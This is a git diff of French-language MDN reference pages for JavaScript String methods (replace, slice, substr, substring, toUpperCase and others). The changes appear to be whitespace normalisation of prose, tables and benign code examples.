{{jsxref("RegExp")}}. Notez que ceci est réalisé en + indices base 1. </p> </td> </tr> @@ -94,9 +94,9 @@ La chaîne de caractère de remplacement peut inclure les modèles de remplace ### Indiquer une fonction comme paramètre -Vous pouvez indiquer une fonction comme second paramètre. Dans ce cas, cette fonction sera appelée après que la recherche a été effectuée. Le résultat de la fonction (valeur retournée) sera utilisé comme chaîne de remplacement. (Note : les modèles de remplacement spéciaux mentionnés ci-dessus ne s'appliquent _pas_ dans ce cas). Notez que cette fonction sera appelée plusieurs fois, pour chaque correspondance complète à remplacer si l'expression régulière dans le premier paramètre est globale. +Vous pouvez indiquer une fonction comme second paramètre. Dans ce cas, cette fonction sera appelée après que la recherche a été effectuée. Le résultat de la fonction (valeur retournée) sera utilisé comme chaîne de remplacement. (Note : les modèles de remplacement spéciaux mentionnés ci-dessus ne s'appliquent _pas_ dans ce cas). Notez que cette fonction sera appelée plusieurs fois, pour chaque correspondance complète à remplacer si l'expression régulière dans le premier paramètre est globale. -Les arguments de cette fonction sont les suivants : +Les arguments de cette fonction sont les suivants : <table class="standard-table"> <tbody> @@ -115,14 +115,14 @@ Les arguments de cette fonction sont les suivants : <td><code>p1, p2, ...</code></td> <td> <p> - La <em>n</em>-ième chaîne de sous-correspondance entre parenthèses - capturantes, à condition que le premier argument de <code + La <em>n</em>-ième chaîne de sous-correspondance entre parenthèses + capturantes, à condition que le premier argument de <code >replace()</code > - soit un objet <code>RegExp</code>. (Correspond aux <code>$1</code>, - <code>$2</code>, etc. ci-dessus.) Par exemple, - si <code>/(\a+)(\b+)/</code> a été indiqué, <code>p1</code> correspond - à <code>\a+</code>, et <code>p2</code> à <code>\b+</code>. + soit un objet <code>RegExp</code>. (Correspond aux <code>$1</code>, + <code>$2</code>, etc. ci-dessus.) Par exemple, + si <code>/(\a+)(\b+)/</code> a été indiqué, <code>p1</code> correspond + à <code>\a+</code>, et <code>p2</code> à <code>\b+</code>. </p> </td> </tr> @@ -131,8 +131,8 @@ Les arguments de cette fonction sont les suivants : <td> Le décalage entre la sous-chaîne en correspondance à l'intérieur de la chaîne complète en cours d'analyse. (Par exemple, si la chaîne complète - était <code>'abcd'</code>, et que le chaîne en correspondance - était <code>'bc'</code>, alors cet argument vaudra 1.) + était <code>'abcd'</code>, et que le chaîne en correspondance + était <code>'bc'</code>, alors cet argument vaudra 1.) </td> </tr> <tr> @@ -142,14 +142,14 @@ Les arguments de cette fonction sont les suivants : </tbody> </table> -(Le nombre exact d'arguments varie suivant que le premier paramètre est ou non un objet {{jsxref("RegExp")}} et, dans ce cas, du nombre de sous-correspondances entre parenthèses qu'il indique.) +(Le nombre exact d'arguments varie suivant que le premier paramètre est ou non un objet {{jsxref("RegExp")}} et, dans ce cas, du nombre de sous-correspondances entre parenthèses qu'il indique.) -L'exemple suivant affectera `'abc - 12345 - #$*%'` à la variable `nouvelleChaine` : +L'exemple suivant affectera `'abc - 12345 - #$*%'` à la variable `nouvelleChaine` : ```js function remplaceur(correspondance, p1, p2, p3, decalage, chaine) { // p1 est non numérique, p2 numérique, et p3 non-alphanumérique - return [p1, p2, p3].join(' - '); + return [p1, p2, p3].join(' - '); } var nouvelleChaine = 'abc12345#$*%'.replace(/([^\d]*)(\d*)([^\w]*)/, remplaceur); console.log(nouvelleChaine); // abc - 12345 - #$*% @@ -157,9 +157,9 @@ console.log(nouvelleChaine); // abc - 12345 - #$*% ## Exemples -### Définition de l'expression régulière dans `replace()` +### Définition de l'expression régulière dans `replace()` -Dans l'exemple suivant, l'expression régulière est définie dans `replace()` et inclut l'indicateur d'indifférence à la casse. +Dans l'exemple suivant, l'expression régulière est définie dans `replace()` et inclut l'indicateur d'indifférence à la casse. ```js var chn = 'Twas the night before Xmas...'; @@ -171,9 +171,9 @@ Cela affiche 'Twas the night before Christmas...'. > **Note :** Voir [ce guide](/fr/docs/Web/JavaScript/Guide/Expressions_r%C3%A9guli%C3%A8res) pour plus d'explications concernant les expressions régulières. -### Utilisation de `global` et `ignore` avec `replace()` +### Utilisation de `global` et `ignore` avec `replace()` -Le remplacement global ne peut être fait qu'avec une expression régulière. Dans l'exemple suivant, l'expression régulière inclut les indicateurs global et indifférence à la casse, qui permettent à `replace()` de remplacer chaque occurrence de 'pommes' dans la chaîne par 'oranges'. +Le remplacement global ne peut être fait qu'avec une expression régulière. Dans l'exemple suivant, l'expression régulière inclut les indicateurs global et indifférence à la casse, qui permettent à `replace()` de remplacer chaque occurrence de 'pommes' dans la chaîne par 'oranges'. ```js var re = /pommes/gi; @@ -186,7 +186,7 @@ Cela affiche 'Les oranges sont rondes, et les oranges sont juteuses.'. ### Inverser des mots dans une chaîne de caractères -Le script suivant intervertit les mots dans la chaîne de caractères. Pour le texte de remplacement, le script utilise les modèles de remplacement `$1` et `$2`. +Le script suivant intervertit les mots dans la chaîne de caractères. Pour le texte de remplacement, le script utilise les modèles de remplacement `$1` et `$2`. ```js var re = /(\w+)\s(\w+)/; @@ -197,11 +197,11 @@ console.log(nouvChn); // Martin, Jean Cela affiche 'Martin, Jean'. -### Utilisation d'une fonction inline modifiant les caractères en correspondance +### Utilisation d'une fonction inline modifiant les caractères en correspondance -Dans cet exemple, toutes les occurrences des lettres majuscules sont converties en minuscules, et un tiret est inséré juste avant l'emplacement de la correspondance. La chose importante ici est que des opérations suppémentaires sont nécessaires sur l'élément en correspondance avant qu'il ne soit retourné comme remplacement. +Dans cet exemple, toutes les occurrences des lettres majuscules sont converties en minuscules, et un tiret est inséré juste avant l'emplacement de la correspondance. La chose importante ici est que des opérations suppémentaires sont nécessaires sur l'élément en correspondance avant qu'il ne soit retourné comme remplacement. -La fonction de remplacement accepte le fragment en correspondance comme paramètre, et elle l'utilise pour transformer sa casse et y concaténer le tiret avant de le retourner. +La fonction de remplacement accepte le fragment en correspondance comme paramètre, et elle l'utilise pour transformer sa casse et y concaténer le tiret avant de le retourner. ```js function styleFormatTiret(nomPropriete) { @@ -220,11 +220,11 @@ Du fait que nous voulons transformer davantage le résultat de la correspondance var nouvChn = nomPropriete.replace(/[A-Z]/g, '-' + '$&'.toLowerCase()); // ne fonctionne pas ``` -Ceci est dû au fait que `'$&'.toLowerCase()` serait d'abord évalué comme un littéral de chaîne (résultant en le même `'$&'`) avant d'utiliser les caractères comme modèle. +Ceci est dû au fait que `'$&'.toLowerCase()` serait d'abord évalué comme un littéral de chaîne (résultant en le même `'$&'`) avant d'utiliser les caractères comme modèle. -### Remplacer un degré Fahrenheit par son équivalent Celsius +### Remplacer un degré Fahrenheit par son équivalent Celsius -L'exemple suivant remplace des degrés Fahrenheit par leur équivalent en degrés Celsius. Les degrés Fahrenheit doivent être un nombre se terminant par F. La fonction renvoie le nombre en Celsius se terminant par C. Par exemple, si le nombre de départ est 212F, la fonction renvoie 100C. Si le nombre de départ est 0F, la fonction retourne -17.77777777777778C. +L'exemple suivant remplace des degrés Fahrenheit par leur équivalent en degrés Celsius. Les degrés Fahrenheit doivent être un nombre se terminant par F. La fonction renvoie le nombre en Celsius se terminant par C. Par exemple, si le nombre de départ est 212F, la fonction renvoie 100C. Si le nombre de départ est 0F, la fonction retourne -17.77777777777778C. L'expression régulière `test` vérifie tout nombre se terminant par F. Le nombre de degrés Fahrenheit est accessible à la fonction via son deuxième paramètre, `p1`. La fonction définit le nombre Celsius sur la base des degrés Fahrenheit transmis dans une chaîne à la fonction `f2c()`. `f2c()` renvoie ensuite le nombre Celsius. Cette fonction se rapproche de l'indicateur `s///e` de Perl. @@ -254,7 +254,7 @@ x-xxx-xx-x- x_x_x___x___x___ ``` -**Sortie :**Un tableau d'objets. Un `'x'` dénote un état `'marche'`, un `'-'` symbolise un état '`arret`' et un `'_'` (blanc souligné) symbolise la longueur d'un état `'marche'`. +**Sortie :**Un tableau d'objets. Un `'x'` dénote un état `'marche'`, un `'-'` symbolise un état '`arret`' et un `'_'` (blanc souligné) symbolise la longueur d'un état `'marche'`. ```json [ @@ -278,7 +278,7 @@ chn.replace(/(x_*)|(-)/g, function(correspondance, $1, $2){ console.log(tabRet); ``` -Ce fragment génère un tableau de 3 objets au format désiré sans utiliser de boucle `for`. +Ce fragment génère un tableau de 3 objets au format désiré sans utiliser de boucle `for`. ## Spécifications @@ -295,11 +295,11 @@ Ce fragment génère un tableau de 3 objets au format désiré sans utiliser de ## Notes spécifiques à Firefox -- `flags` était un troisième argument non standard disponible uniquement dans Gecko : *str*.replace(_regexp_|_substr_, _newSubStr_|_function, flags_) -- À partir de Gecko 27 {{geckoRelease(27)}}, cette méthode a été modifiée pour être conforme à la spécification ECMAScript. Lorsque `replace()` est appelée avec une expression régulière globale, la propriété {{jsxref("RegExp.lastIndex")}} (si elle est définie) sera remise à `0` ({{bug(501739)}}). -- À partir de Gecko 39 {{geckoRelease(39)}}, l'argument non-standard `flags` est désapprouvé et déclenche un avertissement dans la console ({{bug(1142351)}}). +- `flags` était un troisième argument non standard disponible uniquement dans Gecko : *str*.replace(_regexp_|_substr_, _newSubStr_|_function, flags_) +- À partir de Gecko 27 {{geckoRelease(27)}}, cette méthode a été modifiée pour être conforme à la spécification ECMAScript. Lorsque `replace()` est appelée avec une expression régulière globale, la propriété {{jsxref("RegExp.lastIndex")}} (si elle est définie) sera remise à `0` ({{bug(501739)}}). +- À partir de Gecko 39 {{geckoRelease(39)}}, l'argument non-standard `flags` est désapprouvé et déclenche un avertissement dans la console ({{bug(1142351)}}). - À partir de Gecko 47 {{geckoRelease(47)}}, l'argument non-standard `flags` n'est plus supporté dans les versions non distribution et sera bientôt retiré complètement ({{bug(1245801)}}). -- À partir de Gecko 49 {{geckoRelease(49)}}, l'argument non-standard `flags` n'est plus supporté ({{bug(1108382)}}). +- À partir de Gecko 49 {{geckoRelease(49)}}, l'argument non-standard `flags` n'est plus supporté ({{bug(1108382)}}). ## Voir aussi diff --git a/files/fr/web/javascript/reference/global_objects/string/search/index.md b/files/fr/web/javascript/reference/global_objects/string/search/index.md index 29c4facc8d..834955f2a2 100644 --- a/files/fr/web/javascript/reference/global_objects/string/search/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/search/index.md @@ -54,9 +54,9 @@ console.log(maChaine.search(regex2)); // Renvoie -1 car il n'y a aucun point dan | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ---------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.2 | -| {{SpecName('ES5.1', '#sec-15.5.4.12', 'String.prototype.search')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-string.prototype.search', 'String.prototype.search')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-string.prototype.search', 'String.prototype.search')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.5.4.12', 'String.prototype.search')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-string.prototype.search', 'String.prototype.search')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype.search', 'String.prototype.search')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/string/slice/index.md b/files/fr/web/javascript/reference/global_objects/string/slice/index.md index 5360b4ab0e..59ed0e3937 100644 --- a/files/fr/web/javascript/reference/global_objects/string/slice/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/slice/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/String/slice --- {{JSRef}} -La méthode **`slice()`** extrait une section d'une chaine de caractères et la retourne comme une nouvelle chaine de caractères. La chaîne de caractères courante n'est pas modifiée. +La méthode **`slice()`** extrait une section d'une chaine de caractères et la retourne comme une nouvelle chaine de caractères. La chaîne de caractères courante n'est pas modifiée. {{EmbedInteractiveExample("pages/js/string-slice.html")}} @@ -23,27 +23,27 @@ La méthode **`slice()`** extrait une section d'une chaine de caractères et la ### Paramètres - `indiceDebut` - - : L'indice base 0 auquel commencer l'extraction. Si négatif, il est traité comme (`longueurSource + indiceDebut`) où `longueurSource` est la longueur de la chaine de caractères (par exemple, si `indiceDebut` est -3, il sera traité comme `longueurSource - 3`). Si `indiceDebut` est supérieur à la longueur de la chaîne, `slice()` renvoie une chaîne vide. + - : L'indice base 0 auquel commencer l'extraction. Si négatif, il est traité comme (`longueurSource + indiceDebut`) où `longueurSource` est la longueur de la chaine de caractères (par exemple, si `indiceDebut` est -3, il sera traité comme `longueurSource - 3`). Si `indiceDebut` est supérieur à la longueur de la chaîne, `slice()` renvoie une chaîne vide. - `indiceFin` - - : Paramètre optionnel. Un indice base 0 _avant_ lequel terminer l'extraction. Le caractère à cet indice ne sera pas inclus. Si `indiceFin` est absent, `slice()` extraira jusqu'à la fin de la chaine de caractères. Si négatif, il sera traité comme (`longueurSource + indiceFin`) où `longueurSource` est la longueur de la chaine de caractères (par exemple s'il vaut `-3`, il sera traité comme `longueurSource - 3`) + - : Paramètre optionnel. Un indice base 0 _avant_ lequel terminer l'extraction. Le caractère à cet indice ne sera pas inclus. Si `indiceFin` est absent, `slice()` extraira jusqu'à la fin de la chaine de caractères. Si négatif, il sera traité comme (`longueurSource + indiceFin`) où `longueurSource` est la longueur de la chaine de caractères (par exemple s'il vaut `-3`, il sera traité comme `longueurSource - 3`) ### Valeur retournée -Une nouvelle chaîne de caractères contenant la section extraite de la chaîne. +Une nouvelle chaîne de caractères contenant la section extraite de la chaîne. ## Description -`slice()` extrait le texte d'une chaine de caractères et retourne une nouvelle chaîne de caractères. Les changements au texte dans une chaine de caractères n'affectent pas l'autre chaîne. +`slice()` extrait le texte d'une chaine de caractères et retourne une nouvelle chaîne de caractères. Les changements au texte dans une chaine de caractères n'affectent pas l'autre chaîne. -`slice()` extrait jusqu'à `indiceFin`, mais sans l'inclure. Par exemple, `chn.slice(1, 4)` extrait du second caractère jusqu'au quatrième caractère (caractères d'indices 1, 2 et 3). +`slice()` extrait jusqu'à `indiceFin`, mais sans l'inclure. Par exemple, `chn.slice(1, 4)` extrait du second caractère jusqu'au quatrième caractère (caractères d'indices 1, 2 et 3). -Par exemple, `chn.slice(2, -1)` extrait du troisième caractère jusqu'à l'avant-dernier caractère de la chaine de caractères. +Par exemple, `chn.slice(2, -1)` extrait du troisième caractère jusqu'à l'avant-dernier caractère de la chaine de caractères. ## Exemples -### Utilisation de `slice()` pour créer une nouvelle chaîne de caractères +### Utilisation de `slice()` pour créer une nouvelle chaîne de caractères -L'exemple suivant utilise `slice()` pour créer une nouvelle chaîne de caractères. +L'exemple suivant utilise `slice()` pour créer une nouvelle chaîne de caractères. ```js var chn1 = 'Le matin est sur nous.', // la longueur de chn1 est de 22 @@ -91,9 +91,9 @@ console.log(chn.slice(-11, -5)); // "st sur" | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée dans JavaScript 1.2. | -| {{SpecName('ES5.1', '#sec-15.5.4.13', 'String.prototype.slice')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-string.prototype.slice', 'String.prototype.slice')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-string.prototype.slice', 'String.prototype.slice')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.5.4.13', 'String.prototype.slice')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-string.prototype.slice', 'String.prototype.slice')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype.slice', 'String.prototype.slice')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/string/substr/index.md b/files/fr/web/javascript/reference/global_objects/string/substr/index.md index 00eabdbffd..140407b8d7 100644 --- a/files/fr/web/javascript/reference/global_objects/string/substr/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/substr/index.md @@ -38,19 +38,19 @@ Une nouvelle chaîne contenant la partie indiquée de la chaîne donnée. `substr()` extrait `longueur` caractères d'une `string`, en comptant à partir de l'indice `début`. -Si `début` est un nombre positif, l'indice commence à compter du début de la chaîne. Sa valeur est limitée à `chn.length`. +Si `début` est un nombre positif, l'indice commence à compter du début de la chaîne. Sa valeur est limitée à `chn.length`. -Si `début` est un nombre négatif, l'indice commence à compter de la fin de la chaîne. Sa valeur est limitée à `-chn.length`. +Si `début` est un nombre négatif, l'indice commence à compter de la fin de la chaîne. Sa valeur est limitée à `-chn.length`. Note : dans JScript de Microsoft, les valeurs négatives de l'argument `début` ne sont pas considérées comme faisant référence à la fin de la chaîne. -Si `longueur` est omise, `substr()` extrait les caractères jusqu'à la fin de la chaîne. +Si `longueur` est omise, `substr()` extrait les caractères jusqu'à la fin de la chaîne. -Si `longueur` est {{jsxref("undefined")}}, `substr()` extrait les caractères jusqu'à la fin de la chaîne. +Si `longueur` est {{jsxref("undefined")}}, `substr()` extrait les caractères jusqu'à la fin de la chaîne. -Si `longueur` est négative, elle est traitée comme 0. +Si `longueur` est négative, elle est traitée comme 0. -Pour `début` comme pour `longueur`, NaN est traité comme 0. +Pour `début` comme pour `longueur`, NaN est traité comme 0. ## Exemples @@ -77,14 +77,14 @@ if ('ab'.substr(-1) != 'b') { /** * Obtenir la sous-chaîne d'une chaîne * @param {entier} début où démarrer la sous-chaîne - * @param {entier} longueur combien de caractères à retourner + * @param {entier} longueur combien de caractères à retourner * @return {chaîne} */ String.prototype.substr = function(substr) { return function(début, longueur) { // Appel de la méthode originale return substr.call(this, - // Si on a un début négatif, calculer combien il vaut à partir du début de la chaîne + // Si on a un début négatif, calculer combien il vaut à partir du début de la chaîne // Ajuster le paramètre pour une valeur négative début < 0 ? this.length + début : début, longueur) diff --git a/files/fr/web/javascript/reference/global_objects/string/substring/index.md b/files/fr/web/javascript/reference/global_objects/string/substring/index.md index 5fbc2431f5..e5cc7f9e7d 100644 --- a/files/fr/web/javascript/reference/global_objects/string/substring/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/substring/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/String/substring --- {{JSRef}} -La méthode **`substring()`** retourne une sous-chaîne de la chaîne courante, entre un indice de début et un indice de fin. +La méthode **`substring()`** retourne une sous-chaîne de la chaîne courante, entre un indice de début et un indice de fin. {{EmbedInteractiveExample("pages/js/string-substring.html")}} @@ -35,12 +35,12 @@ Une nouvelle chaîne de caractères qui correspond à la section souhaitée de l `substring` extrait des caractères de la chaîne courante à partir de `indiceA` jusqu'à `indiceB` (non compris). On a notamment : -- Si `indiceA` est égal à `indiceB`, `substring` retournera une chaîne vide. -- Si `indiceB` est omis, `substring` effectuera l'extraction des caractères jusqu'à la fin de la chaîne. +- Si `indiceA` est égal à `indiceB`, `substring` retournera une chaîne vide. +- Si `indiceB` est omis, `substring` effectuera l'extraction des caractères jusqu'à la fin de la chaîne. - Si l'un des deux arguments est négatif ou vaut {{jsxref("NaN")}}, il sera traité comme 0. - Si l'un des deux arguments est plus grand que `str.length`, il sera traité comme `str.length`. -Si `indiceA` est supérieur à `indiceB`, la fonction `substring()` intervertira ces deux valeurs afin de les traiter comme si elles avaient été passées dans le bon ordre. Par exemple : `str.substring(1, 0) == str.substring(0, 1)`. +Si `indiceA` est supérieur à `indiceB`, la fonction `substring()` intervertira ces deux valeurs afin de les traiter comme si elles avaient été passées dans le bon ordre. Par exemple : `str.substring(1, 0) == str.substring(0, 1)`. ## Exemples @@ -86,7 +86,7 @@ function replaceString(oldS, newS, fullS) { replaceString("World", "Web", "Brave New World"); ``` -Attention : ceci peut résulter en une boucle infinie si `oldS` est elle-même une sous-chaine de `newS` -- par exemple, si on essaie de remplacer "World" par "OtherWorld". Une meilleure solution serait de remplacer les chaines de cette manière : +Attention : ceci peut résulter en une boucle infinie si `oldS` est elle-même une sous-chaine de `newS` -- par exemple, si on essaie de remplacer "World" par "OtherWorld". Une meilleure solution serait de remplacer les chaines de cette manière : ```js function replaceString(oldS, newS,fullS){ @@ -141,9 +141,9 @@ Pour plus d'exemples sur l'utilisation d'arguments négatifs, voir la page {{jsx | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.5.4.15', 'String.prototype.substring')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-string.prototype.substring', 'String.prototype.substring')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-string.prototype.substring', 'String.prototype.substring')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.5.4.15', 'String.prototype.substring')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-string.prototype.substring', 'String.prototype.substring')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype.substring', 'String.prototype.substring')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/string/tolocalelowercase/index.md b/files/fr/web/javascript/reference/global_objects/string/tolocalelowercase/index.md index 9eccd4d59d..9ace7a15e9 100644 --- a/files/fr/web/javascript/reference/global_objects/string/tolocalelowercase/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/tolocalelowercase/index.md @@ -58,9 +58,9 @@ La méthode `toLocaleLowerCase()` renvoie la valeur de la chaîne de caractères | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.2. | -| {{SpecName('ES5.1', '#sec-15.5.4.17', 'String.prototype.toLocaleLowerCase')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.5.4.17', 'String.prototype.toLocaleLowerCase')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}} | {{Spec2('ESDraft')}} | | | {{SpecName('ES Int Draft', '#sup-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}} | {{Spec2('ES Int Draft')}} | Ajout du paramètre `locale` dans ES Intl 2017 | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/string/tolocaleuppercase/index.md b/files/fr/web/javascript/reference/global_objects/string/tolocaleuppercase/index.md index 016286cab7..72e101c52d 100644 --- a/files/fr/web/javascript/reference/global_objects/string/tolocaleuppercase/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/tolocaleuppercase/index.md @@ -59,9 +59,9 @@ On notera également que la conversion ne repose pas sur une correspondance un | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.2. | -| {{SpecName('ES5.1', '#sec-15.5.4.19', 'String.prototype.toLocaleUpperCase')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.5.4.19', 'String.prototype.toLocaleUpperCase')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}} | {{Spec2('ESDraft')}} | | | {{SpecName('ES Int Draft', '#sup-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}} | {{Spec2('ES Int Draft')}} | Ajout du paramètre `locale` dans ES Intl 2017. | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/string/tolowercase/index.md b/files/fr/web/javascript/reference/global_objects/string/tolowercase/index.md index abd97d98aa..c89fbeeff9 100644 --- a/files/fr/web/javascript/reference/global_objects/string/tolowercase/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/tolowercase/index.md @@ -26,7 +26,7 @@ Une nouvelle chaîne de caractères qui est obtenue en passant la chaîne appela ## Description -La méthode `toLowerCase()` renvoie la valeur de la chaîne convertie en minuscules. `toLowerCase()` ne modifie pas la valeur de la chaîne courante. +La méthode `toLowerCase()` renvoie la valeur de la chaîne convertie en minuscules. `toLowerCase()` ne modifie pas la valeur de la chaîne courante. ## Exemples @@ -39,9 +39,9 @@ console.log( "ALPHABET".toLowerCase() ); // "alphabet" | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.5.4.16', 'String.prototype.toLowerCase')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.5.4.16', 'String.prototype.toLowerCase')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/string/tostring/index.md b/files/fr/web/javascript/reference/global_objects/string/tostring/index.md index 630a4a4d32..2a7c2c4f29 100644 --- a/files/fr/web/javascript/reference/global_objects/string/tostring/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/tostring/index.md @@ -30,7 +30,7 @@ L'objet {{jsxref("String")}} surcharge la méthode `toString()` de l'objet {{jsx ## Exemples -L'exemple suivant affiche la valeur textuelle d'un objet {{jsxref("String")}} : +L'exemple suivant affiche la valeur textuelle d'un objet {{jsxref("String")}} : ```js var x = new String("coucou monde"); @@ -42,9 +42,9 @@ console.log(x.toString()); // affiche "coucou monde" | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.5.4.2', 'String.prototype.toString')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-string.prototype.tostring', 'String.prototype.toString')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-string.prototype.tostring', 'String.prototype.toString')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.5.4.2', 'String.prototype.toString')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-string.prototype.tostring', 'String.prototype.toString')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype.tostring', 'String.prototype.toString')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/string/touppercase/index.md b/files/fr/web/javascript/reference/global_objects/string/touppercase/index.md index efa4875d7d..875afc76f1 100644 --- a/files/fr/web/javascript/reference/global_objects/string/touppercase/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/touppercase/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/String/toUpperCase --- {{JSRef}} -La méthode **`toUpperCase()`** retourne la valeur de la chaîne courante, convertie en majuscules. +La méthode **`toUpperCase()`** retourne la valeur de la chaîne courante, convertie en majuscules. {{EmbedInteractiveExample("pages/js/string-touppercase.html")}} @@ -31,7 +31,7 @@ Une nouvelle chaîne de caractères obtenue à partir de la chaîne appelante, p ## Description -La méthode `toUpperCase()` retourne la valeur de la chaîne convertie en majuscules. `toUpperCase` n'affecte pas la valeur de la chaîne elle-même. +La méthode `toUpperCase()` retourne la valeur de la chaîne convertie en majuscules. `toUpperCase` n'affecte pas la valeur de la chaîne elle-même. ## Exemples @@ -43,7 +43,7 @@ console.log( "alphabet".toUpperCase() ); // "ALPHABET" ### Convertir une valeur `this` en chaîne de caractères -Cette peut être utilisée pour convertir une valeur qui n'est pas une chaîne de caractères lorsque celle-ci est fournie comme valeur `this` : +Cette peut être utilisée pour convertir une valeur qui n'est pas une chaîne de caractères lorsque celle-ci est fournie comme valeur `this` : ```js var obj = { @@ -63,9 +63,9 @@ console.log(b); // Affiche 'TRUE' dans la console | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| 